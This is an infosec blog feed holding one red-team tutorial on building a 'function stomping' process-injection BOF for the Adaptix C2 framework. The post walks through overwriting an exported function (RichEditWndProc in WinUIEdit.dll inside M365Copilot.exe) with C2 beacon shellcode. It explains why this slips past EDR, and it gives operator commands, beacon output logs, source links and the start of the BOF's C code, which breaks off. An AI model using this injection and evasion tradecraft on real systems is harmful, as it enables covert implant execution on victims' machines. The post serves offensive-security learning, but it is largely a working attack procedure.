<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://g3tsyst3m.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://g3tsyst3m.com/" rel="alternate" type="text/html" /><updated>2026-10-16T00:54:27+00:00</updated><id>https://g3tsyst3m.com/feed.xml</id><title type="html">G3tSyst3m’s Infosec Blog</title><subtitle>Security Researcher and Enthusiast. I&apos;m fairly low profile, but share useful info from time to time. Red Team wannabe</subtitle><author><name>R.B.C (g3tsyst3m)</name></author><entry><title type="html">Let’s Create A Function Stomping BOF for Adaptix C2!</title><link href="https://g3tsyst3m.com/process%20injection/Let's-Create-A-Function-Stomping-BOF-for-Adaptix-C2!/" rel="alternate" type="text/html" title="Let’s Create A Function Stomping BOF for Adaptix C2!" /><published>2026-10-04T00:00:00+00:00</published><updated>2026-10-04T00:00:00+00:00</updated><id>https://g3tsyst3m.com/process%20injection/Let&apos;s%20Create%20A%20Function%20Stomping%20BOF%20for%20Adaptix%20C2!</id><content type="html" xml:base="https://g3tsyst3m.com/process%20injection/Let&apos;s-Create-A-Function-Stomping-BOF-for-Adaptix-C2!/"><![CDATA[<p>If you’ve been following the blog for a while, you’ll likely recall my <a href="https://g3tsyst3m.com/process%20injection/Module-Stomping-101-My-Favorite-Stomping-Grounds/">Module Stomping 101</a> post where I walked through the classic “load a benign DLL, stomp the entry point, boom” technique. Well, I’ve been down that rabbit hole a little deeper since then 😸. Today we’re talking about <strong>function stomping</strong>, a related, but meaningfully different, flavor of the same concept. We’re going to build the whole thing as an <strong>Adaptix C2 BOF</strong> and feed it <strong>PIC shellcode</strong> derived from a custom coded <a href="https://tradecraftgarden.org/crystalpalace.html">Crystal Palace</a> toolchain. By the end of this post you’ll have a cross-process function stomper running off the beacon, and a small PIC shellcode you can drop into it that executes from wherever it lands.</p>

<p>Okay, let’s get into it!</p>

<h2 id="what-is-function-stomping-really">What is Function Stomping, Really?</h2>

<blockquote>
  <p><strong>In brief:</strong> Function stomping is overwriting an <strong>exported function</strong> that is <em>already</em> loaded in a target process with your shellcode, and then getting that function to run - either by asking Windows to run it (<code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>) or, better yet, by waiting for the target process to call it on its own.</p>
</blockquote>

<p>Notice what that is <em>not</em>. It’s not module stomping. In module stomping (the 101 post), <strong>we</strong> are the ones bringing the module into the picture: we <code class="language-plaintext highlighter-rouge">LoadLibrary</code> a benign DLL into the remote process, find its entry point, and stomp that entry point. The stomped code lives in a module <em>we chose</em> to load, at an address <em>we</em> located.</p>

<p>Function stomping skips all of that ceremony. There’s no new module. There’s no entry point. We pick a function that is <strong>already there</strong>. Some obscure export in a DLL the target happens to have loaded, like <code class="language-plaintext highlighter-rouge">RichEditWndProc</code> in <code class="language-plaintext highlighter-rouge">WinUIEdit.dll</code> from <code class="language-plaintext highlighter-rouge">M365Copilot.exe</code>, and we overwrite the function body itself with shellcode. The module was loaded by the OS or the application long before we showed up; we’re just squatting on one of its exports. 😸</p>

<h2 id="why-bother-when-module-stomping-exists">Why bother, when module stomping exists?</h2>

<p>A few reasons that have come up in my own testing:</p>

<ul>
  <li>
    <p><strong>No <code class="language-plaintext highlighter-rouge">LoadLibrary</code> to hide, no new module in the list.</strong> Module stomping requires injecting a <code class="language-plaintext highlighter-rouge">LoadLibrary</code> call (usually via <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>), which is a well-understood and well-hunted primitive. Function stomping doesn’t load anything.  No new entry appears in the target’s module list, no <code class="language-plaintext highlighter-rouge">LdrLoadDll</code> callback fires, no load event in the EDR telemetry. The “module” is one that’s already there.</p>
  </li>
  <li>
    <p><strong>No new memory allocation.</strong> No <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>, no new RWX page appearing in the process. The payload is written into a code page that already exists in the target’s address space. (To be fair, you do need two <code class="language-plaintext highlighter-rouge">VirtualProtectEx</code> calls - down to <code class="language-plaintext highlighter-rouge">PAGE_READWRITE</code> to write, then back up to <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code>.  So, it’s not literally “write to a read-only page.” But you’re not creating any new allocation for the EDR to see.)</p>
  </li>
  <li>
    <p><strong>You can skip <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> entirely.</strong> This is my favorite part, and I’ll come back to it. If you stomp a function the process will <em>naturally</em> call: a window proc, a callback, a timer.  You never need <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> at all. Execution happens “organically,” in the context of the target’s own thread, on its own stack, in its own thread context. <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> is one of the most heavily pattern-matched APIs in the EDR world, so having a way to not use it is genuinely nice.</p>
  </li>
</ul>

<p>The tradeoff is that you have to <strong>choose your sacrificial function carefully</strong>. You’re overwriting a real, working function. If it’s hot-path code (something called thousands of times a second) or in a critical DLL (<code class="language-plaintext highlighter-rouge">ntdll</code>, <code class="language-plaintext highlighter-rouge">kernel32</code>, <code class="language-plaintext highlighter-rouge">IMM32</code>), you will crash the process or the machine. More on choosing targets later.</p>

<h2 id="tldr">TL;DR</h2>

<ul>
  <li>We’re stomping an <strong>existing exported function</strong> in a <strong>remote</strong> process, not a freshly-loaded module’s entry point.</li>
  <li>The technique is: enumerate the target’s modules → walk the target’s <strong>PE export table from remote memory</strong> (arch-aware!) → overwrite the chosen function with shellcode via <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> → optionally trigger with <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>.</li>
  <li>The end result is an <strong>Adaptix C2 BOF</strong>, so it runs off the beacon with a single AxScript command.</li>
  <li>The “subscriber bonus” payload is a <strong>PIC shellcode</strong> derived from <strong>Crystal Palace</strong>, because PIC is what lets it execute no matter which function we stomp it into: no fixed addresses, no rebasing, no loader.</li>
  <li>Verified: a <strong>full 100KB Adaptix beacon</strong> stomped into a pid of our choosing.</li>
</ul>

<h2 id="the-demo-stomp">The Demo Stomp</h2>

<p>Let’s go ahead and code it out.  I created a standalone PoC that does exactly what the Adaptix C2 BOF will eventually do for us, but I’m using an actual PE executable to test.  That way we know we’re on the right track!</p>

<blockquote>
  <p>Compile the Stomp source code below and then we’ll get started</p>
</blockquote>

<p><a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2026-10-4-Function%20Stomping%20101%20-%20Adaptix%20C2%20BOFs%20and%20Crystal%20Palace%20PIC%20Shellcode/stomp_poc">Source Code for stomp.exe / stomp.c</a></p>

<p>Now run it!  Oh!  but before you do, be sure to setup <code class="language-plaintext highlighter-rouge">Adaptix C2</code> to have a listener ready and also prep your shellcode.  We’ll do that really quick and then run our stomp.exe</p>

<p>Here’s what mine looks like:</p>

<p><img width="1362" height="809" alt="image" src="https://github.com/user-attachments/assets/40ecb72c-9201-45b0-bb86-c9551a95f702" /></p>

<ul>
  <li>Protocol: Any</li>
  <li>Config: BeaconHttp</li>
</ul>

<p><img width="815" height="812" alt="image" src="https://github.com/user-attachments/assets/4184df5a-8670-4270-a8b7-a0ee23b30888" /></p>

<p>Also, we need to generate the connectback shellcode.  Right click the listener and choose <code class="language-plaintext highlighter-rouge">Generate Agent</code>:</p>

<p><img width="940" height="346" alt="image" src="https://github.com/user-attachments/assets/67191fe3-3796-4e32-b617-a7e0a0263d12" /></p>

<ul>
  <li>Arch: x64</li>
  <li>Format: Shellcode</li>
</ul>

<p><img width="717" height="707" alt="image" src="https://github.com/user-attachments/assets/f0557546-4c6c-4141-b2b0-a9506e81ede2" /></p>

<p>Copy that <code class="language-plaintext highlighter-rouge">.bin</code> file to the windows box however you like. Okay, now we’re ready!</p>

<h2 id="stomp-it">Stomp it!</h2>

<p>Go ahead and run your compiled <code class="language-plaintext highlighter-rouge">stomp.exe</code></p>

<p>Next, we’ll pick on the <code class="language-plaintext highlighter-rouge">M365Copilot.exe</code> process because it’s unlikely to be heavily scrutinzed.  Go ahead and select it.</p>

<p><img width="425" height="188" alt="Screenshot from 2026-10-03 17-31-32" src="https://github.com/user-attachments/assets/dec3e410-25ca-4e71-99b1-d02c3139b4cb" /></p>

<p>Next, let’s go with the <code class="language-plaintext highlighter-rouge">WinUIEdit.dll</code> which is seldom accessed and shouldn’t be interrupted by other windows services/processes accessing it.  (Notepad uses this too btw 😺)</p>

<p><img width="674" height="173" alt="Screenshot from 2026-10-03 17-31-51" src="https://github.com/user-attachments/assets/cd5819cd-4695-4403-b3d8-db1b0c538f09" /></p>

<p>Now, we choose the Function we wish to stomp!  I chose <code class="language-plaintext highlighter-rouge">RichEditWndProc</code></p>

<p><img width="674" height="173" alt="Screenshot from 2026-10-03 17-32-09" src="https://github.com/user-attachments/assets/bfaf4c67-ca0b-424f-a981-a0a323dfda07" /></p>

<p>Finally, I made it very easy.  A dialog box will popup and let you choose your shellcode <code class="language-plaintext highlighter-rouge">.bin</code> file.  Go ahead and do that.  It’s the shellcode you generated earlier in Adaptix.</p>

<p><img width="1618" height="797" alt="Screenshot from 2026-10-03 17-32-32" src="https://github.com/user-attachments/assets/54299095-89dc-498b-9f6b-f11e8a224b93" /></p>

<p>Choose ‘y’ to use CreateRemoteThread.  At least for now.</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[*]</span> <span class="kd">Trigger</span> <span class="kd">remote</span> <span class="kd">thread</span> <span class="nb">at</span> <span class="kd">stomped</span> <span class="kd">address</span><span class="o">?</span> <span class="o">[</span><span class="kd">y</span><span class="na">/N</span><span class="o">]</span>: <span class="kd">y</span>
<span class="o">[+]</span>   <span class="kd">Remote</span> <span class="kd">thread</span> <span class="kd">created</span>  : <span class="kd">handle</span> <span class="mh">0x0000000000000398</span>
<span class="o">[*]</span>   <span class="kd">Waiting</span> <span class="k">for</span> <span class="kd">thread</span> <span class="o">(</span><span class="m">10</span><span class="kd">s</span> <span class="nb">timeout</span><span class="o">)</span>...
<span class="o">[</span><span class="err">!</span><span class="o">]</span>   <span class="kd">Thread</span> <span class="kd">still</span> <span class="kd">running</span> <span class="kd">after</span> <span class="m">10</span><span class="kd">s</span> <span class="o">(</span><span class="kd">shellcode</span> <span class="kd">may</span>
      <span class="kd">be</span> <span class="k">in</span> <span class="kd">a</span> <span class="kd">loop</span> / <span class="kd">network</span> <span class="kd">callback</span><span class="o">)</span>.

<span class="o">========================================</span>
  <span class="kd">Stomp</span> <span class="kd">complete</span>.
<span class="o">========================================</span>
  <span class="kd">Process</span> : <span class="kd">M365Copilot</span><span class="err">.exe</span>  <span class="o">(</span><span class="kd">PID</span> <span class="m">16360</span><span class="o">)</span>
  <span class="kd">Module</span>  : <span class="kd">WinUIEdit</span>.dll  <span class="o">(</span><span class="kd">base</span> <span class="mh">0xf5870000</span><span class="o">)</span>
  <span class="kd">Function</span>: <span class="kd">RichEditWndProc</span>  <span class="o">(</span><span class="kd">addr</span> <span class="mh">0xf5a2f060</span><span class="o">)</span>
  <span class="kd">Payload</span> : <span class="m">100351</span> <span class="kd">bytes</span>  <span class="o">(</span><span class="kd">C</span>:\Users\administrator\Documents\agentnew45.x64.bin<span class="o">)</span>
</code></pre></div></div>

<p>Mission Accomplished!  We got our shellcode to execute the callback to our server C2 listener!</p>

<p><img width="1362" height="809" alt="Screenshot from 2026-10-03 17-39-00" src="https://github.com/user-attachments/assets/e6c62f02-89e7-42ad-bdfa-ebaa9310999f" /></p>

<h2 id="building-and-running-the-bof">Building and Running the BOF</h2>

<p>I’ve included everything you need in the following source code directory to simplify things.  I just don’t have time to go over all the code.  We’ll leave that for my learning course in the near future 😸.<br />
Here’s the code: <a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2026-10-4-Function%20Stomping%20101%20-%20Adaptix%20C2%20BOFs%20and%20Crystal%20Palace%20PIC%20Shellcode/funcstomp_bof">Function Stomp BOF Source Code</a></p>

<p>Run the commands below to make the funcstomp BOF:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd </span>funcstomp_bof
make
</code></pre></div></div>

<p>Next, go into your Adaptix C2 console, Extensions, Script Manager, and add / enable it!:</p>

<p><img width="808" height="148" alt="image" src="https://github.com/user-attachments/assets/a48741cf-d33f-4ba7-8f98-4ab49f36035a" /></p>

<p>Select your funcstomp.axs script!</p>

<p><img width="808" height="148" alt="image" src="https://github.com/user-attachments/assets/1b16b660-031d-4622-bb0e-fb04995d2564" /></p>

<p><img width="1215" height="868" alt="image" src="https://github.com/user-attachments/assets/b5ade8ff-eaaf-4130-b019-c1597319b84e" /></p>

<p>It’s now ready to use!</p>

<p>Enter into the Console session for one of your connected agents.  Next, enter the following command to execute your BOF (adjust your .bin directory accordingly, of course 😸):</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">stomp</span> <span class="o">[</span><span class="kd">PID</span><span class="o">]</span> <span class="s2">"WinUIEdit.dll"</span> <span class="s2">"RichEditWndProc"</span> <span class="na">/home/g</span><span class="m">3</span><span class="kd">tsyst3m</span><span class="na">/agent</span>.x64.bin <span class="na">-t </span><span class="m">1</span>
</code></pre></div></div>

<p>You should see the following output, similar to mine:</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span><span class="m">03</span>/10 <span class="m">20</span>:53:01<span class="o">]</span> <span class="kd">Operator1</span> <span class="o">[</span><span class="kd">b3a37db9</span><span class="o">]</span> <span class="kd">beacon</span> <span class="o">&gt;</span> <span class="kd">stomp</span> <span class="na">-p </span><span class="m">14308</span> <span class="na">-d </span><span class="kd">WinUIEdit</span>.dll <span class="na">-f </span><span class="kd">RichEditWndProc</span> <span class="na">-s /home/g</span><span class="m">3</span><span class="kd">tsyst3m</span><span class="na">/AdaptixProjects/g</span><span class="m">3</span><span class="kd">t_main</span><span class="na">/agentnew</span><span class="m">45</span>.x64.bin <span class="na">-t </span><span class="m">1</span>
<span class="o">[</span><span class="m">03</span>/10 <span class="m">20</span>:53:01<span class="o">]</span> <span class="o">[*]</span> <span class="kd">Task</span>: <span class="kd">FuncStomp</span>
<span class="o">[</span><span class="m">03</span>/10 <span class="m">20</span>:53:02<span class="o">]</span> <span class="o">[*]</span> <span class="kd">Agent</span> <span class="kd">called</span> <span class="kd">server</span><span class="o">,</span> <span class="kd">sent</span> <span class="o">[</span><span class="m">103</span>.73 <span class="kd">Kb</span><span class="o">]</span>
<span class="o">[</span><span class="m">03</span>/10 <span class="m">20</span>:53:07<span class="o">]</span> <span class="o">[+]</span> <span class="kd">BOF</span> <span class="kd">output</span>
<span class="o">[*]</span> <span class="kd">funcstomp</span>: <span class="kd">pid</span><span class="o">=</span><span class="m">14308</span> <span class="kd">dll</span><span class="o">=</span><span class="kd">WinUIEdit</span>.dll <span class="kd">func</span><span class="o">=</span><span class="kd">RichEditWndProc</span> <span class="nb">sc</span><span class="o">=</span><span class="m">100351</span> <span class="kd">bytes</span> <span class="kd">trigger</span><span class="o">=</span><span class="m">1</span>
<span class="o">[+]</span> <span class="kd">funcstomp</span>: <span class="kd">WinUIEdit</span>.dll <span class="kd">base</span><span class="o">=</span><span class="mh">0x7ffd2a830000</span>
<span class="o">[+]</span> <span class="kd">funcstomp</span>: <span class="s1">'RichEditWndProc'</span> @ <span class="mh">0x7ffd2a9edbe0</span>
<span class="o">[+]</span> <span class="kd">funcstomp</span>: <span class="kd">stomped</span> <span class="m">100351</span> <span class="kd">bytes</span> <span class="o">(</span><span class="kd">old</span> <span class="kd">prot</span> <span class="mh">0x20</span><span class="o">)</span>
<span class="o">[+]</span> <span class="kd">funcstomp</span>: <span class="kd">remote</span> <span class="kd">thread</span> <span class="kd">created</span>
<span class="o">[*]</span> <span class="kd">funcstomp</span>: <span class="kd">thread</span> <span class="kd">still</span> <span class="kd">running</span> <span class="o">(</span><span class="m">5</span><span class="kd">s</span> <span class="nb">timeout</span><span class="o">,</span> <span class="kd">shellcode</span> <span class="kd">alive</span><span class="o">)</span>
<span class="o">[=]</span> <span class="kd">funcstomp</span>: <span class="kd">done</span> â€” <span class="kd">WinUIEdit</span>.dll::RichEditWndProc <span class="k">in</span> <span class="kd">PID</span> <span class="m">14308</span>
<span class="o">[</span><span class="m">03</span>/10 <span class="m">20</span>:53:07<span class="o">]</span> <span class="o">[+]</span> <span class="kd">BOF</span> <span class="kd">finished</span>
</code></pre></div></div>

<p><img width="1215" height="868" alt="image" src="https://github.com/user-attachments/assets/9ac07e94-b4eb-4c1e-a580-348262b350e1" /></p>

<p>That’s it!</p>

<h2 id="crystal-palace-pic-shellcode--bonus-subscriber-only-offering">Crystal Palace PIC Shellcode (🎁 Bonus Subscriber Only Offering🎁)</h2>

<p>If you’ve read my <a href="https://g3tsyst3m.com/shellcode/pic/PIC-Shellcode-from-the-Ground-up-Part-1/">PIC Shellcode from the Ground Up</a> series, you know my feelings about PIC: it’s the right tool for shellcode that has to run <em>anywhere</em>. For function stomping specifically, PIC is essentially mandatory. We’re dropping into the middle of some arbitrary DLL’s <code class="language-plaintext highlighter-rouge">.text</code> section, at an address we did not choose and that changes every run (ASLR). Any absolute address in the payload is a landmine. PIC will resolve everything at runtime relative to our own location.  This is what makes the same <code class="language-plaintext highlighter-rouge">.bin</code> work whether we stomp it into <code class="language-plaintext highlighter-rouge">explorer.exe</code> or Notepad, etc.</p>

<p><strong>Crystal Palace</strong> is the C2 + shellcode toolchain I’ve been building in parallel with the stomping work. The relevant piece here is its PIC generator: it takes a C source, emits PIC-friendly assembly (no absolute addresses, no <code class="language-plaintext highlighter-rouge">.data</code> section: constants are pushed to the runtime stack and located relative to <code class="language-plaintext highlighter-rouge">RSP</code>), and assembles it into a position-independent <code class="language-plaintext highlighter-rouge">.bin</code>. The beacon itself is PIC; the small shellcodes we use for stomping are PIC too.</p>

<p>A quick note on what “PIC-derived” means concretely in this context, because it’s the part I’d expect questions about:</p>

<ul>
  <li><strong>DFR (Dynamic Function Resolution).</strong> The shellcode resolves its own imports (kernel32/advapi32/etc.) at runtime by hashing export names and walking the loaded DLL list:no import table, no fixed base. This is the same <code class="language-plaintext highlighter-rouge">MODULE$Func</code> / ror13 hashing scheme the Adaptix beacon uses, which is part of why the two play so nicely together.</li>
  <li><strong>No <code class="language-plaintext highlighter-rouge">.data</code>, everything relative.</strong> Strings and constants live as immediate pushes and are addressed off the stack, so the code is literally the same byte stream no matter where it lands.</li>
  <li><strong>PEB/LDR walking</strong> for module bases, so even “where is kernel32” is answered at runtime.</li>
</ul>

<p>The actual payload I’ve been pushing through the stomper in testing is a small beacon-style checkin stub (a few hundred bytes): big enough to do a real handshake with the server, small enough that it fits comfortably inside a single function body without eating its neighbors. For the full-beacon tests (100KB+), I used the standard Adaptix beacon <code class="language-plaintext highlighter-rouge">.bin</code>, which is PIC in the same way.</p>

<p>Here’s the code (🎁 Subscriber Only Perk  [Emerald + Diamond Tier] 🎁): <a href="https://ko-fi.com/s/f4c3282bb3">Source Code Bundle</a></p>

<p>Here’s how to compile the PIC:</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> <span class="kd">crystalpalace_files</span>
<span class="kd">make</span> <span class="kd">adaptix</span> 
</code></pre></div></div>

<p>Here’s how to use it after you add it to the Adaptix C2 Script manager:</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">stomp_pic</span>                     <span class="kd">Stomp</span> <span class="kd">a</span> <span class="kd">function</span> <span class="k">in</span> <span class="kd">a</span> <span class="kd">target</span> <span class="kd">process</span> <span class="o">(</span><span class="kd">Crystal</span> <span class="kd">Palace</span> <span class="kd">PIC</span><span class="o">)</span>

<span class="o">+-------------------------------------------------------------------------------------+</span>
<span class="o">[</span><span class="m">04</span>/10 <span class="m">14</span>:57:47<span class="o">]</span> <span class="o">[*]</span> <span class="kd">Stomping</span> <span class="kd">RichEditWndProc</span> <span class="k">in</span> <span class="kd">WinUIEdit</span>.dll <span class="o">(</span><span class="kd">PID</span> <span class="m">18028</span><span class="o">)</span> <span class="kd">via</span> <span class="kd">PIC</span>...

<span class="o">[</span><span class="m">04</span>/10 <span class="m">14</span>:57:47<span class="o">]</span> <span class="kd">Operator1</span> <span class="o">[</span><span class="m">738</span><span class="kd">ca289</span><span class="o">]</span> <span class="kd">beacon</span> <span class="o">&gt;</span> <span class="kd">stomp_pic</span> <span class="na">-p </span><span class="m">18028</span> <span class="na">-d </span><span class="kd">WinUIEdit</span>.dll <span class="na">-f </span><span class="kd">RichEditWndProc</span> <span class="na">-s /home/g</span><span class="m">3</span><span class="kd">tsyst3m</span><span class="na">/AdaptixProjects/g</span><span class="m">3</span><span class="kd">t_main</span><span class="na">/agentnew</span><span class="m">45</span>.x64.bin <span class="na">-t </span><span class="m">1</span>
<span class="o">[</span><span class="m">04</span>/10 <span class="m">14</span>:57:47<span class="o">]</span> <span class="o">[*]</span> <span class="kd">Task</span>: <span class="kd">FuncStomp</span><span class="na">-PIC
</span><span class="o">[</span><span class="m">04</span>/10 <span class="m">14</span>:57:49<span class="o">]</span> <span class="o">[*]</span> <span class="kd">Agent</span> <span class="kd">called</span> <span class="kd">server</span><span class="o">,</span> <span class="kd">sent</span> <span class="o">[</span><span class="m">107</span>.06 <span class="kd">Kb</span><span class="o">]</span>
<span class="o">[</span><span class="m">04</span>/10 <span class="m">14</span>:57:54<span class="o">]</span> <span class="o">[+]</span> <span class="kd">BOF</span> <span class="kd">output</span>
<span class="o">[*]</span> <span class="kd">stomprun</span>: <span class="kd">PIC</span> <span class="m">7023</span> <span class="kd">bytes</span><span class="o">;</span> <span class="kd">stomp</span> <span class="m">100351</span> <span class="kd">bytes</span> <span class="kd">into</span> <span class="kd">WinUIEdit</span>.dll::RichEditWndProc <span class="o">(</span><span class="kd">pid</span> <span class="m">18028</span><span class="o">,</span> <span class="kd">trigger</span> <span class="m">1</span><span class="o">)</span>
<span class="o">[*]</span> <span class="kd">stomprun</span>: <span class="kd">calling</span> <span class="kd">PIC</span> <span class="nb">at</span> <span class="mh">0x000001E839D30000</span> <span class="o">(</span><span class="kd">arg</span> <span class="kd">blob</span> <span class="nb">at</span> <span class="kd">offset</span> <span class="m">7023</span><span class="o">)</span>
<span class="o">[+]</span> <span class="kd">stomprun</span>: <span class="kd">PIC</span> <span class="kd">returned</span>
<span class="o">[</span><span class="m">04</span>/10 <span class="m">14</span>:57:54<span class="o">]</span> <span class="o">[+]</span> <span class="kd">BOF</span> <span class="kd">finished</span>
</code></pre></div></div>

<p><img width="1511" height="357" alt="Screenshot from 2026-10-04 14-58-34" src="https://github.com/user-attachments/assets/889fcd79-649d-4677-87e1-4a4d0fd4fffa" /></p>

<p><img width="1338" height="312" alt="Screenshot from 2026-10-04 15-00-14" src="https://github.com/user-attachments/assets/fe8c45b2-3917-42bb-995f-0c10ae24b909" /></p>

<p>And That’s It!</p>

<h2 id="the-detailed-walkthrough-for-the-function-stomping-bof-for-those-who-wish-to-dive-deeper">The Detailed Walkthrough for the Function Stomping BOF for those Who wish to Dive Deeper!</h2>

<p>I used a Windows 11 VM in my home lab with EDR disabled for testing, and the Adaptix server listening on my Ubuntu 24.04 box.</p>

<h2 id="building-the-function-stomping-bof-with-adaptix-c2">Building the Function Stomping BOF with Adaptix C2</h2>

<p>For those not deep in the Adaptix world yet: Adaptix is a C2 framework that, among other things, runs <strong>BOFs</strong> (Beacon Object Files) - small COFF objects that get loaded <em>inside</em> the beacon process. The beacon provides you with its own little stdlib (the <code class="language-plaintext highlighter-rouge">BeaconFunctions[]</code> table): <code class="language-plaintext highlighter-rouge">BeaconPrintf</code>, <code class="language-plaintext highlighter-rouge">BeaconDataInt</code>, <code class="language-plaintext highlighter-rouge">BeaconDataExtract</code>, and so on, plus a <code class="language-plaintext highlighter-rouge">MODULE$</code> / <code class="language-plaintext highlighter-rouge">KERNEL32$</code> dynamic function resolution (DFR) scheme for pulling in Windows APIs without a traditional import table. If that sounds like a lot of jargon, the <a href="https://adaptix-framework.gitbook.io/adaptix-framework">Adaptix documentation</a> is where I point people, but the parts that matter for this post are:</p>

<ol>
  <li>BOFs are written in C, built with the MSVCRT toolchain to x64/x86 <code class="language-plaintext highlighter-rouge">.o</code> files, and loaded by the beacon via a custom loader.</li>
  <li>You <strong>cannot</strong> just use any libc function you like. The beacon’s function table is a <strong>fixed 32 entries</strong>, and anything not in it will fail at load time. Allocation is <code class="language-plaintext highlighter-rouge">MSVCRT$malloc</code>/<code class="language-plaintext highlighter-rouge">MSVCRT$free</code> (resolved via the <code class="language-plaintext highlighter-rouge">$</code> DFR path). There is no <code class="language-plaintext highlighter-rouge">calloc</code>, no <code class="language-plaintext highlighter-rouge">lstrcpynA</code>, and <code class="language-plaintext highlighter-rouge">FindProcBySymbol</code> in <code class="language-plaintext highlighter-rouge">bof_loader.cpp</code> will flat-out reject any symbol name that is too short to resolve. So if you’re adapting BOF code from elsewhere, audit every libc call first.</li>
  <li>Token/privilege APIs live in <strong><code class="language-plaintext highlighter-rouge">ADVAPI32$</code></strong>, not <code class="language-plaintext highlighter-rouge">KERNEL32$</code>. <code class="language-plaintext highlighter-rouge">AdjustTokenPrivileges</code>, <code class="language-plaintext highlighter-rouge">OpenProcessToken</code>, <code class="language-plaintext highlighter-rouge">LookupPrivilegeValueA</code>, which are all advapi32. The <code class="language-plaintext highlighter-rouge">$</code> DFR path does a <code class="language-plaintext highlighter-rouge">LoadLibraryA</code> + <code class="language-plaintext highlighter-rouge">GetProcAddress</code>, so if you write <code class="language-plaintext highlighter-rouge">KERNEL32$AdjustTokenPrivileges</code> you’ll get “Symbol not found,” because kernel32 simply doesn’t export it. I hit this one and lost an hour to it 😸.</li>
</ol>

<p>The flow of the BOF (<code class="language-plaintext highlighter-rouge">funcstomp.c</code>, source in the repo linked below) is straightforward:</p>

<h2 id="overview">Overview</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──────────────┐    BOF injection     ┌────────────────────┐
│  C2 Beacon   │─────────────────────▶│  Target Process    │
│  (beacon.exe)│                      │  (explorer.exe, etc.)
│              │  OpenProcess         │                    │
│              │  ReadProcessMemory   │  Target DLL loaded │
│              │  VirtualProtectEx    │  (e.g. WinUIEdit.dll)
│              │  WriteProcessMemory  │  ┌───────────────┐ │
│              │  CreateRemoteThread  │  │ Export Table  │ │
│              │                      │  │               │ │
└──────────────┘                      │  │ func ──▶ RW   │ │
                                      │  │       ──▶ shellcode
                                      │  │       ──▶ RX  │ │
                                      │  └───────────────┘ │
                                      └────────────────────┘
</code></pre></div></div>

<p>The BOF runs <strong>inside</strong> the beacon process. It reaches into a <em>different</em> process, finds a DLL’s export table, locates a chosen export, changes its memory protection to read/write, overwrites the first N bytes with shellcode, sets protection back to executable, and optionally spawns a remote thread to execute the shellcode in-place.</p>

<hr />

<h2 id="file-structure">File Structure</h2>

<table>
  <thead>
    <tr>
      <th>Section</th>
      <th>Lines</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Header comment</td>
      <td>1–24</td>
      <td>Docs: params, symbol resolution notes</td>
    </tr>
    <tr>
      <td>DFR imports</td>
      <td>30–55</td>
      <td>All WinAPI/CRT functions resolved via DFR</td>
    </tr>
    <tr>
      <td>Constants &amp; types</td>
      <td>62–79</td>
      <td>Max sizes, <code class="language-plaintext highlighter-rouge">export_entry_t</code> struct</td>
    </tr>
    <tr>
      <td>Helpers</td>
      <td>84–112</td>
      <td><code class="language-plaintext highlighter-rouge">xread</code>, <code class="language-plaintext highlighter-rouge">strcasecmp_a</code>, <code class="language-plaintext highlighter-rouge">cpyn</code></td>
    </tr>
    <tr>
      <td>SeDebugPrivilege</td>
      <td>118–141</td>
      <td>Elevate debug access (best-effort)</td>
    </tr>
    <tr>
      <td>find_module_base</td>
      <td>147–168</td>
      <td>Locate a DLL’s base address in target</td>
    </tr>
    <tr>
      <td>read_exports</td>
      <td>174–261</td>
      <td>Walk the remote PE export table</td>
    </tr>
    <tr>
      <td>go() (entry point)</td>
      <td>267–419</td>
      <td>Main logic: validate → find → stomp → trigger</td>
    </tr>
  </tbody>
</table>

<hr />

<h3 id="1-dfr-imports-lines-3455">1. DFR Imports (Lines 34–55)</h3>

<p>The BOF runs inside a beacon that strips normal symbols. All API calls are declared with <code class="language-plaintext highlighter-rouge">DECLSPEC_IMPORT</code> and a <code class="language-plaintext highlighter-rouge">MODULE$Function</code> naming convention so the beacon’s DFR (Dynamic Function Resolution) loader can resolve them at runtime:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* kernel32 */</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">HANDLE</span> <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">OpenProcess</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">dwDesiredAccess</span><span class="p">,</span> <span class="n">BOOL</span> <span class="n">bInheritHandle</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">dwProcessId</span><span class="p">);</span>
<span class="n">DECLSPEC_IMPORT</span> <span class="n">BOOL</span>   <span class="n">WINAPI</span> <span class="n">KERNEL32</span><span class="err">$</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">hObject</span><span class="p">);</span>
